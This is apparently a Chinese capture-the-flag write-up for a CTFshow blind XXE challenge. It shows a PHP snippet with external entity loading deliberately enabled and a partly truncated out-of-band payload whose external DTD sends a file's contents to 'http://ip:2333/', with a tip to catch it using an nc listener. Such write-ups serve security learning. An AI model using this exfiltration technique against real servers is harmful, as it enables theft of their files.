CTFshow---XXE盲注

你爱过一个人吗?
《人间失格》里面有一句话:问问老天,不抵抗是罪吗?

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
     
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

审计代码,可以看到是xxe注入 且无回显
思路是 通过外带数据通道提取数据
payload:



%hack;
%dtd;
%xxe;

test.dtd

% xxe  SYSTEM 'http://ip:2333/%file;'> ">

别忘了nc lvp 2333监听,哦。宝
别忘了白嫖一台服务器哟。 宝,爱你。

解释

为什么引入外部文件? 看这里

% xxe  SYSTEM 'http://ip:2333/%file;'> ">

如果直接嵌套进去,会报错,应该是xml的语法问题,这是一个嵌套的办法
注意:

  1. %hack
  2. %dtd
  3. %xxe
    顺序不要错,逻辑:引用%hack后调用外部文件,后调用%dtd引入嵌套的payload后引用%xxe接收数据
    CTFshow---XXE盲注_第1张图片CTFshow---XXE盲注_第2张图片

你可能感兴趣的:(CTF)